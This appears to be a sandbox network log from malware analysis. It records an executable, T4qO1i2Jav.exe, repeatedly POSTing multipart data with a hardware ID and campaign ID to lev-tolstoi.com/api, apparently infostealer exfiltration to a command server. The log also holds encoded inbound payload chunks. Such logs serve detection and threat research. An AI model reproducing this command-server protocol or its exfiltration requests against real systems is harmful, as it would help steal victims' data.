2024-12-27 13:42:17 UTC	248	IN	Data Raw: 34 39 31 63 0d 0a 58 32 55 59 59 42 5a 53 39 46 32 31 58 50 51 52 32 75 4d 42 7a 66 53 75 5a 52 65 33 65 41 39 59 37 2b 56 32 78 4b 4f 32 2b 5a 73 6b 52 32 35 43 4c 47 62 59 66 38 59 35 31 69 75 75 6b 58 53 6f 32 49 77 45 63 35 56 43 61 54 6d 44 6c 68 50 6f 67 63 43 55 75 57 55 44 65 51 78 6c 4e 39 68 2f 30 43 54 57 4b 34 47 59 49 36 69 61 6a 46 38 31 30 68 4a 74 4f 59 4f 48 46 36 2f 4d 78 70 58 34 4e 77 6c 2f 43 48 4d 78 6b 44 7a 5a 4d 5a 46 30 76 34 4a 72 6f 35 33 44 44 58 71 56 56 43 30 39 6c 63 64 4d 35 75 37 54 6a 66 6f 53 42 47 73 4c 4e 43 2f 59 4a 70 63 35 6d 6a 50 67 77 57 43 6f 6c 73 49 44 63 39 77 51 5a 7a 43 4c 68 68 4b 75 30 39 2b 66 38 7a 63 48 66 41 6c 35 4f 49 51 78 30 7a 61 61 63 72 57 43 49 2b 48 57 79 78 38 31 6a 56 Data Ascii: 491cX2UYYBZS9F21XPQR2uMBzfSuZRe3eA9Y7+V2xKO2+ZskR25CLGbYf8Y51iuukXSo2IwEc5VCaTmDlhPogcCUuWUDeQxlN9h/0CTWK4GYI6iajF810hJtOYOHF6/MxpX4Nwl/CHMxkDzZMZF0v4Jro53DDXqVVC09lcdM5u7TjfoSBGsLNC/YJpc5mjPgwWColsIDc9wQZzCLhhKu09+f8zcHfAl5OIQx0zaacrWCI+HWyx81jV
2024-12-27 13:42:17 UTC	1369	IN	Data Raw: 6f 2b 43 49 36 57 42 62 50 4d 78 4a 32 35 49 6b 6c 6a 51 6e 4d 38 31 6d 65 58 4e 70 70 39 76 59 4a 73 71 4a 66 4d 46 58 72 56 47 57 55 79 69 59 30 62 71 63 37 61 6b 66 34 31 44 6e 30 4e 63 7a 69 51 4d 4e 52 2b 32 44 4f 2f 6d 53 50 33 31 75 77 58 64 74 59 4f 59 43 76 4e 6d 46 71 2f 67 64 4f 58 75 57 56 48 66 41 78 31 50 5a 59 74 33 7a 57 64 64 71 71 4b 61 71 4b 62 7a 41 70 2f 32 68 6c 74 50 59 65 4e 47 36 7a 46 32 5a 62 2f 50 51 63 36 54 44 51 33 6a 6e 2b 50 66 72 56 32 71 49 5a 76 75 64 54 32 52 32 71 62 41 79 30 39 67 63 64 4d 35 73 6e 52 6d 50 6f 32 43 48 6b 4b 66 79 4b 57 4c 64 45 7a 6b 32 47 2b 68 47 32 6c 6c 64 34 4e 65 39 4d 5a 5a 44 47 45 67 68 4f 69 67 5a 72 62 2f 69 56 48 49 6b 4a 56 50 5a 30 7a 33 53 6d 57 4d 36 66 50 65 75 2b 52 77 45 63 74 6c Data Ascii: o+CI6WBbPMxJ25IkljQnM81meXNpp9vYJsqJfMFXrVGWUyiY0bqc7akf41Dn0NcziQMNR+2DO/mSP31uwXdtYOYCvNmFq/gdOXuWVHfAx1PZYt3zWddqqKaqKbzAp/2hltPYeNG6zF2Zb/PQc6TDQ3jn+PfrV2qIZvudT2R2qbAy09gcdM5snRmPo2CHkKfyKWLdEzk2G+hG2lld4Ne9MZZDGEghOigZrb/iVHIkJVPZ0z3SmWM6fPeu+RwEctl
2024-12-27 13:42:17 UTC	1369	IN	Data Raw: 4e 79 56 53 68 32 5a 54 44 75 52 63 45 62 67 46 2b 63 71 4d 38 32 54 43 52 5a 66 69 65 4c 62 62 57 79 77 73 31 6a 56 70 67 4f 34 57 42 42 71 6e 4d 31 35 58 33 4d 67 4a 31 43 6e 51 77 6d 7a 72 54 4e 5a 31 77 74 59 56 78 70 5a 62 45 41 6e 54 66 45 43 31 30 7a 59 41 4d 35 70 6d 55 71 75 34 32 52 55 38 42 65 6a 36 52 4b 5a 63 68 32 47 72 34 68 6d 2f 76 7a 6f 77 4b 66 64 41 66 59 6a 75 48 69 52 47 73 7a 64 79 56 2b 69 38 49 66 67 4a 34 4f 4a 77 79 32 54 71 65 65 72 4f 4b 5a 61 2b 58 78 6b 63 37 6c 52 31 31 65 74 58 48 49 4b 48 4e 32 5a 53 37 43 41 52 30 44 48 4d 6d 31 69 43 5a 4a 39 5a 30 74 4d 45 37 37 35 72 46 42 33 37 66 48 6d 30 39 67 49 49 58 6f 63 4c 5a 6e 50 4d 7a 41 48 34 4f 66 54 32 51 50 39 41 36 6b 32 47 39 69 47 2b 6a 31 6f 4a 48 63 73 31 61 4e 58 Data Ascii: NyVSh2ZTDuRcEbgF+cqM82TCRZfieLbbWyws1jVpgO4WBBqnM15X3MgJ1CnQwmzrTNZ1wtYVxpZbEAnTfEC10zYAM5pmUqu42RU8Bej6RKZch2Gr4hm/vzowKfdAfYjuHiRGszdyV+i8IfgJ4OJwy2TqeerOKZa+Xxkc7lR11etXHIKHN2ZS7CAR0DHMm1iCZJ9Z0tME775rFB37fHm09gIIXocLZnPMzAH4OfT2QP9A6k2G9iG+j1oJHcs1aNX
2024-12-27 13:42:17 UTC	1369	IN	Data Raw: 35 70 6d 55 6b 76 41 76 43 58 51 4c 65 54 61 65 4f 4e 6b 7a 6e 58 57 7a 68 6d 53 70 6d 38 51 4b 63 4e 59 62 61 54 43 66 68 42 2b 73 7a 4e 37 62 74 33 30 41 59 6b 49 73 63 4c 45 7a 2f 69 36 4e 59 61 37 42 66 4f 47 50 6a 41 42 35 6c 55 49 74 4f 59 4b 4f 47 36 37 4a 32 35 54 39 4d 77 46 38 44 33 45 2f 6e 43 33 66 4d 4a 74 34 74 34 70 78 72 35 76 49 43 33 48 64 45 57 64 36 77 38 63 54 76 6f 47 4d 32 38 77 77 43 48 6f 42 59 6e 43 4a 63 63 35 2b 6b 58 2f 34 32 53 4f 6a 6d 4d 77 49 65 64 6b 52 5a 54 75 42 69 52 4f 6a 79 4e 79 54 36 7a 77 44 63 67 4e 36 50 35 63 37 30 6a 75 53 64 4c 79 48 62 4f 2f 59 6a 41 42 74 6c 55 49 74 46 61 71 79 56 6f 66 37 6c 49 53 33 4a 45 64 39 44 6a 52 6f 31 6a 50 55 4d 70 35 38 76 6f 68 76 70 5a 2f 48 43 33 37 52 46 6d 51 2f 69 34 59 Data Ascii: 5pmUkvAvCXQLeTaeONkznXWzhmSpm8QKcNYbaTCfhB+szN7bt30AYkIscLEz/i6NYa7BfOGPjAB5lUItOYKOG67J25T9MwF8D3E/nC3fMJt4t4pxr5vIC3HdEWd6w8cTvoGM28wwCHoBYnCJcc5+kX/42SOjmMwIedkRZTuBiROjyNyT6zwDcgN6P5c70juSdLyHbO/YjABtlUItFaqyVof7lIS3JEd9DjRo1jPUMp58vohvpZ/HC37RFmQ/i4Y
2024-12-27 13:42:17 UTC	1369	IN	Data Raw: 70 7a 77 4c 77 6c 33 44 58 77 34 6e 7a 37 54 4f 35 74 31 74 49 74 69 71 4a 6a 43 44 7a 57 62 57 6d 6f 69 7a 64 39 55 68 39 48 50 69 65 38 77 4a 6e 63 4e 4e 43 2f 59 4a 70 63 35 6d 6a 50 67 77 57 71 39 6b 73 45 56 66 4e 49 55 59 6a 6d 66 68 68 6d 74 30 39 4f 55 2f 54 6f 4c 66 41 31 79 4d 5a 4d 31 32 7a 6d 54 65 4c 65 4e 49 2b 48 57 79 78 38 31 6a 56 70 44 4d 5a 36 51 46 36 6a 4b 77 6f 43 35 49 6b 6c 6a 51 6e 4d 38 31 6d 65 58 50 5a 31 34 76 49 46 76 72 35 4c 42 42 32 66 61 48 57 6f 7a 68 70 55 65 6f 63 62 66 6b 2f 49 79 41 57 67 4f 65 69 4b 54 4c 63 56 2b 32 44 4f 2f 6d 53 50 33 31 76 6f 41 5a 63 55 5a 4c 77 75 62 68 41 4b 74 7a 4e 6a 62 35 6e 4d 65 4f 67 56 34 63 4d 35 2f 30 54 47 66 63 4c 65 41 61 71 4f 62 79 51 35 77 31 42 78 70 4d 49 65 48 45 71 44 41 Data Ascii: pzwLwl3DXw4nz7TO5t1tItiqJjCDzWbWmoizd9Uh9HPie8wJncNNC/YJpc5mjPgwWq9ksEVfNIUYjmfhhmt09OU/ToLfA1yMZM12zmTeLeNI+HWyx81jVpDMZ6QF6jKwoC5IkljQnM81meXPZ14vIFvr5LBB2faHWozhpUeocbfk/IyAWgOeiKTLcV+2DO/mSP31voAZcUZLwubhAKtzNjb5nMeOgV4cM5/0TGfcLeAaqObyQ5w1BxpMIeHEqDA
2024-12-27 13:42:17 UTC	1369	IN	Data Raw: 30 41 64 6b 49 73 63 4a 55 34 31 44 2b 63 65 72 53 4f 5a 4b 75 45 78 67 42 6e 31 42 74 6d 4e 34 47 48 47 61 76 4c 31 5a 4c 30 4d 51 70 39 42 58 73 31 31 6e 47 58 4f 59 34 7a 34 4d 46 43 6f 70 33 41 58 43 2b 56 42 53 4d 6a 7a 59 41 59 35 70 6d 55 6d 2f 4d 34 44 58 63 42 65 7a 4f 45 50 74 45 73 6c 6e 36 79 6b 32 6d 6b 6b 38 45 4b 65 4e 59 63 61 7a 47 42 6c 52 32 6d 77 74 2f 62 74 33 30 41 59 6b 49 73 63 4c 55 6f 77 54 53 52 66 36 36 4b 59 71 79 41 77 52 63 31 6d 31 70 38 50 5a 7a 48 54 4c 44 52 77 35 7a 6d 63 78 34 36 42 58 68 77 7a 6e 2f 52 4e 35 42 30 76 6f 39 78 71 70 44 44 43 48 7a 63 48 6d 55 35 6a 59 4d 51 6f 63 54 58 6c 2f 49 36 42 48 55 47 66 54 36 66 4d 4a 64 77 31 6e 53 67 77 54 76 76 74 39 63 45 65 64 68 61 63 6e 53 55 78 78 4f 71 67 59 7a 62 39 Data Ascii: 0AdkIscJU41D+cerSOZKuExgBn1BtmN4GHGavL1ZL0MQp9BXs11nGXOY4z4MFCop3AXC+VBSMjzYAY5pmUm/M4DXcBezOEPtEsln6yk2mkk8EKeNYcazGBlR2mwt/bt30AYkIscLUowTSRf66KYqyAwRc1m1p8PZzHTLDRw5zmcx46BXhwzn/RN5B0vo9xqpDDCHzcHmU5jYMQocTXl/I6BHUGfT6fMJdw1nSgwTvvt9cEedhacnSUxxOqgYzb9
2024-12-27 13:42:17 UTC	1369	IN	Data Raw: 4a 59 6a 57 52 4b 5a 55 4c 6c 58 32 32 68 6e 58 76 69 66 4e 4a 4e 64 6f 41 4c 57 4b 30 6e 6c 53 68 7a 5a 54 44 75 53 67 41 65 67 56 75 4a 70 45 7a 78 6a 57 62 66 35 71 4f 5a 4c 6d 56 77 77 52 6b 33 46 5a 6d 4e 38 33 4a 56 4b 48 5a 6c 4d 4f 35 45 67 42 73 41 56 73 7a 68 7a 61 58 63 4e 5a 30 72 73 45 37 37 36 69 4d 46 58 62 46 47 57 49 72 73 38 64 4d 76 2f 2b 55 6b 4f 38 36 46 33 6b 55 66 7a 32 61 4c 75 6c 2b 7a 69 66 71 30 7a 48 39 78 4e 4e 48 61 75 70 55 4c 54 76 4e 33 79 32 2f 67 63 4c 62 6f 57 39 4a 4f 68 41 30 61 4e 5a 34 31 43 79 45 64 62 75 58 59 4f 69 6f 38 69 42 6a 33 78 31 39 50 5a 71 49 56 4f 69 42 32 39 75 68 42 45 64 7a 42 57 38 68 67 44 4c 48 4f 64 5a 4d 39 73 46 37 37 38 36 4d 4d 6e 62 62 46 47 6f 73 6e 4d 6f 7a 73 4d 76 54 69 2f 34 71 43 44 Data Ascii: JYjWRKZULlX22hnXvifNJNdoALWK0nlShzZTDuSgAegVuJpEzxjWbf5qOZLmVwwRk3FZmN83JVKHZlMO5EgBsAVszhzaXcNZ0rsE776iMFXbFGWIrs8dMv/+UkO86F3kUfz2aLul+zifq0zH9xNNHaupULTvN3y2/gcLboW9JOhA0aNZ41CyEdbuXYOio8iBj3x19PZqIVOiB29uhBEdzBW8hgDLHOdZM9sF7786MMnbbFGosnMozsMvTi/4qCD
2024-12-27 13:42:17 UTC	1369	IN	Data Raw: 6e 54 2f 51 4c 6f 42 6f 39 49 6c 67 74 59 7a 79 4f 56 37 5a 48 47 6f 67 69 6f 45 79 68 6f 47 61 32 2f 5a 39 58 30 4e 43 50 48 43 70 63 5a 63 6d 31 69 76 34 74 47 43 68 6d 4d 73 52 5a 4a 67 79 54 67 43 33 78 54 69 68 31 4a 61 76 2f 69 30 57 63 51 39 34 63 4e 68 2f 30 58 37 4f 49 2f 62 42 5a 37 37 57 6c 46 63 6e 6a 6b 38 2b 62 64 33 56 43 2b 6a 59 6c 49 32 35 5a 56 55 30 51 6d 5a 77 7a 6e 2b 51 50 59 52 68 76 6f 4a 31 72 4e 48 79 4f 56 4c 62 48 57 77 73 6e 5a 41 62 6d 50 2f 42 6d 50 63 7a 41 47 77 54 4e 48 37 57 4d 4a 64 6d 72 7a 50 77 77 56 7a 68 31 74 52 48 4c 5a 55 76 62 6a 53 44 67 41 4b 33 6a 50 4f 56 2f 6a 77 52 61 68 56 37 63 4e 68 2f 30 58 37 4f 49 66 62 42 5a 37 37 57 6c 46 63 6e 6a 6b 38 2b 62 64 33 56 43 2b 6a 59 6c 49 32 35 5a 56 55 30 51 6d 5a Data Ascii: nT/QLoBo9IlgtYzyOV7ZHGogioEyhoGa2/Z9X0NCPHCpcZcm1iv4tGChmMsRZJgyTgC3xTih1Jav/i0WcQ94cNh/0X7OI/bBZ77WlFcnjk8+bd3VC+jYlI25ZVU0QmZwzn+QPYRhvoJ1rNHyOVLbHWwsnZAbmP/BmPczAGwTNH7WMJdmrzPwwVzh1tRHLZUvbjSDgAK3jPOV/jwRahV7cNh/0X7OIfbBZ77WlFcnjk8+bd3VC+jYlI25ZVU0QmZ
2024-12-27 13:42:17 UTC	1369	IN	Data Raw: 43 69 56 4d 2f 62 42 62 2b 2f 4f 6a 41 5a 2f 78 52 64 69 50 63 47 41 44 71 47 42 6d 74 76 33 66 56 38 36 41 33 34 67 6d 7a 44 51 63 70 42 39 74 73 46 38 34 59 2b 4d 45 54 57 4e 53 53 4e 36 6e 38 64 4d 35 6f 62 58 69 65 73 37 42 47 77 42 4d 77 36 6f 45 73 55 35 68 6e 44 36 73 47 36 72 67 4e 6b 45 5a 64 49 6b 55 78 65 66 67 41 53 6c 67 2b 57 4e 2b 6a 30 4a 66 55 49 36 63 49 35 2f 6a 33 36 37 59 62 2b 52 59 4f 2f 59 6a 41 73 31 6a 56 70 67 4b 49 71 58 46 2b 72 47 7a 70 79 35 49 6b 6c 6a 51 6d 4a 77 7a 6d 79 5a 66 6f 51 7a 34 4d 45 6b 6f 5a 76 4e 42 48 76 57 43 48 38 38 6a 70 45 58 34 66 2f 71 74 75 73 36 46 33 6c 41 52 54 32 53 4b 63 49 39 68 6e 53 47 76 30 36 39 6b 64 77 45 4e 2f 6b 64 59 44 61 7a 75 53 4f 33 78 73 54 5a 33 7a 34 52 65 55 49 36 63 49 35 2f Data Ascii: CiVM/bBb+/OjAZ/xRdiPcGADqGBmtv3fV86A34gmzDQcpB9tsF84Y+METWNSSN6n8dM5obXies7BGwBMw6oEsU5hnD6sG6rgNkEZdIkUxefgASlg+WN+j0JfUI6cI5/j367Yb+RYO/YjAs1jVpgKIqXF+rGzpy5IkljQmJwzmyZfoQz4MEkoZvNBHvWCH88jpEX4f/qtus6F3lART2SKcI9hnSGv069kdwEN/kdYDazuSO3xsTZ3z4ReUI6cI5/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.157.254	443	5260	C:\Users\user\Desktop\T4qO1i2Jav.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:18 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0HFAPZNC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18105 Host: lev-tolstoi.com
2024-12-27 13:42:18 UTC	15331	OUT	Data Raw: 2d 2d 30 48 46 41 50 5a 4e 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 34 30 31 39 45 36 35 41 46 42 33 32 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 30 48 46 41 50 5a 4e 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 48 46 41 50 5a 4e 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 76 6f 69 64 65 65 64 0d 0a 2d 2d 30 48 46 41 50 5a 4e 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 Data Ascii: --0HFAPZNCContent-Disposition: form-data; name="hwid"514019E65AFB322223D904AF30EFEBBC--0HFAPZNCContent-Disposition: form-data; name="pid"2--0HFAPZNCContent-Disposition: form-data; name="lid"H8NgCl--voideed--0HFAPZNCContent-Dispos
2024-12-27 13:42:18 UTC	2774	OUT	Data Raw: ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 2d 7b 91 d7 Data Ascii: f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V-{
2024-12-27 13:42:19 UTC	1138	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kduecj822kceb0iii9ihgcnoqr; expires=Tue, 22 Apr 2025 07:28:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eQHn8ZzquIiboQ643Qtf1KBnTjuf%2Bu4H84Dl7T87YxMcXuXnMk2dWRqcDdEjYlyX6F6%2BASEs%2B8B%2FdEBDq%2BT11HIy1sh%2BoD%2BtrNlLullcjo6EI%2BbEgntIuxxpE5vnsZbRA2c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bbb05a0d8cca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1989&min_rtt=1981&rtt_var=760&sent=12&recv=21&lost=0&retrans=0&sent_bytes=2834&recv_bytes=19056&delivery_rate=1425085&cwnd=239&unsent_bytes=0&cid=60aeacfefca14fcc&ts=1144&x=0"
2024-12-27 13:42:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 13:42:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	172.67.157.254	443	5260	C:\Users\user\Desktop\T4qO1i2Jav.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:21 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=H3GYVVKZ42S3PCHO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8774 Host: lev-tolstoi.com
2024-12-27 13:42:21 UTC	8774	OUT	Data Raw: 2d 2d 48 33 47 59 56 56 4b 5a 34 32 53 33 50 43 48 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 34 30 31 39 45 36 35 41 46 42 33 32 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 48 33 47 59 56 56 4b 5a 34 32 53 33 50 43 48 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 33 47 59 56 56 4b 5a 34 32 53 33 50 43 48 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 76 6f 69 64 65 65 64 0d 0a 2d 2d Data Ascii: --H3GYVVKZ42S3PCHOContent-Disposition: form-data; name="hwid"514019E65AFB322223D904AF30EFEBBC--H3GYVVKZ42S3PCHOContent-Disposition: form-data; name="pid"2--H3GYVVKZ42S3PCHOContent-Disposition: form-data; name="lid"H8NgCl--voideed--
2024-12-27 13:42:22 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jc6al45o39vj6unsdqrn5mjetv; expires=Tue, 22 Apr 2025 07:29:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QDtx1DqnrvEO%2BTVzQK6tD%2BQWdTRMAt5e6f7HRQ3Gm0J4B9fxveRJ2uCOlPbPbg2qEmyzNh%2Fwg%2B3%2BLCbewfI3nQyzjCiywvCQ3MZnR4i7SABX95I0dzr8w4HupcsL5C9U070%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bbbfde5b19b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2029&min_rtt=2023&rtt_var=770&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2834&recv_bytes=9710&delivery_rate=1409946&cwnd=149&unsent_bytes=0&cid=3e61d6b0d28236b1&ts=903&x=0"
2024-12-27 13:42:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 13:42:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	172.67.157.254	443	5260	C:\Users\user\Desktop\T4qO1i2Jav.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:42:23 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JZM11EAQ7UW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20397 Host: lev-tolstoi.com
2024-12-27 13:42:23 UTC	15331	OUT	Data Raw: 2d 2d 4a 5a 4d 31 31 45 41 51 37 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 34 30 31 39 45 36 35 41 46 42 33 32 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4a 5a 4d 31 31 45 41 51 37 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4a 5a 4d 31 31 45 41 51 37 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 76 6f 69 64 65 65 64 0d 0a 2d 2d 4a 5a 4d 31 31 45 41 51 37 55 57 0d 0a 43 6f Data Ascii: --JZM11EAQ7UWContent-Disposition: form-data; name="hwid"514019E65AFB322223D904AF30EFEBBC--JZM11EAQ7UWContent-Disposition: form-data; name="pid"3--JZM11EAQ7UWContent-Disposition: form-data; name="lid"H8NgCl--voideed--JZM11EAQ7UWCo
2024-12-27 13:42:23 UTC	5066	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 Data Ascii: lrQMn 64F6(X&7~`aO@
2024-12-27 13:42:24 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:42:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b608525p2pfnprorme5um98mcs; expires=Tue, 22 Apr 2025 07:29:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FlycBwnBtxCIjhWseyJf421AV1Uj3HeWtTo5sK5lPmuq7LpDIpV2Mik6eWO6guAsaV%2BGFqo58VRpHfjzTtivJ%2FNbe6Nww0iE3bQdeN4XgLfTAOmQOy2yEIFO01n6X6eu4Sg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89bbd05db141e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1661&min_rtt=1659&rtt_var=627&sent=14&recv=25&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21351&delivery_rate=1739130&cwnd=202&unsent_bytes=0&cid=4b346a78dd58100a&ts=971&x=0"
2024-12-27 13:42:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 13:42:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
